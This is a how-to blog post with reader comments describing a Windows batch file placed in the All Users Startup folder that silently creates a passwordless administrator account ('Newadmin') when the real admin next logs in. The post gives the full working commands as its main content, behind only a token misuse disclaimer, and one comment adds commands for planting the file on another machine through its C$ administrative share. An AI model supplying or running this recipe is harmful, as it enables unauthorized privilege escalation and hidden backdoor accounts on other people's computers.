First, let me make it clear that this post is only meant to be informative. Please do not misuse it. On the other hand, if you are an administrator, then this post could be useful to you in being wary of how your system could be compromised with a very simple trick.
Now here is how you do it.
Step 1: Open up Notepad, copy and paste the following code into it and save the file as admin.bat. (You could actually give it any name, just make sure that the extension is .bat)
@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin
Step 2: Copy the file to the Startup folder. Here is the path to the Startup folder:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
Step 3: There is no step 3.
The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.
Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.
You May Also Be Interested In...
- How to pin a folder to the task bar in Windows 7
- Create a password protected folder without any special software
- Mirror one folder to another and keep the files synchronised
- Add your own destinations to the ‘Send To’ context menu
- How to download popular magazines from Zinio for free
- Backing up Firefox’s ‘about:config’ settings
- Using Gmail as your Universal Inbox
- Which copy of Windows XP is the fake?
Subscribe Now
If you enjoyed this post, you will definitely enjoy our others. Subscribe to the feed to get future posts delivered right to your mailbox or feedreader.
Powered by Thesis
An amazing WordPress Theme, nothing beats the versatility and SEO friendliness of the Thesis framework.
From beginners, to the most advanced WordPress developers, Thesis makes it easy for anyone to customize it.
{ 17 comments… read them below or add one }
Quite a scary trick and rightly said that administrators will surely benefit by being aware of this trick
nice post.But the main thing is that you still need admin for creating a admin account.
Well a usual guest can either use it in two ways.either he shows this trick to others for showing his technical skills or he can misuse it.I do not think any usefull use of this trick rather than misusing it for guest only.
and for admin this can be a alarm.
overall nice post.
Almost, but the C:\Documents and Settings\All Users\Start Menu\Programs\Startup folder security should never be opened to Guest. Unless FAT or the permissions have been modified, the default NTFS security denies wrie acces to the folder. Power Users is another story, however, since those users have write access.
Good tip ! I like this post.
Thanks.
Roda thanks you! I’d somehow lost all administrator rights and this is the only way to get it back. I tried everything else. Thank you so much for posting this …
Due to a System32 error, I was essentially stuck with only a working guest account, and this helped a lot. The only problem was that it created a limited access account, and I cannot change this because I can’t access user accounts in admin. Cool trick, though.
When i gonna copy the file ADMIN.BAT says CAN’T COPY HERE, NO PRIVILEGIES
bull shit this is not working in guest account. guest have no priviliges to copy the batch file into startup folders this not a nice trick
this is not usefull to the guest because he cant access the startup folder. how the hell does the guest copy the file to the designate folder.
Err…Just use some tools like “Windows Password Recovery Tool”
If you have another computer on the network with an admin account then it’s easy enough, you just hack the C$ share
net use \\hacked\C$\docume~1\alluse~1\startme~1\progra~1\startup
start \\hacked\C$\docume~1\alluse~1\startme~1\progra~1\startup
Wollah!!
I ONLY HAVE 1 ACCOUNT LEFT AND IT IS NOT AN ADMIN ACCT. THERE IS NO GUEST ACCT. THE ONLY CHOICES IN USERS IS ADD PASSWORD AND CHG PICTURE. I AM SCREWED!
it comes up system error 5 has occured
How do you diable this when i delete the account it keeps coming back
If you don’t want to reformat your system, I think you have to make a rest disk or use some tool to do all the job for you. Such as Windows Password Recovery Tool 3.0. Burn a boot CD with the program, and insert it into the problem computer and your password will be reset to “Blank”.
zzz..
I cannot copy it to start up
It say..Denied Access help me!!
Hiii
nice trick but,
i cannot copy that file to startup
it shows access denied message
plz tel me a way to copy tht file
plz tel me tht farst plzzzzz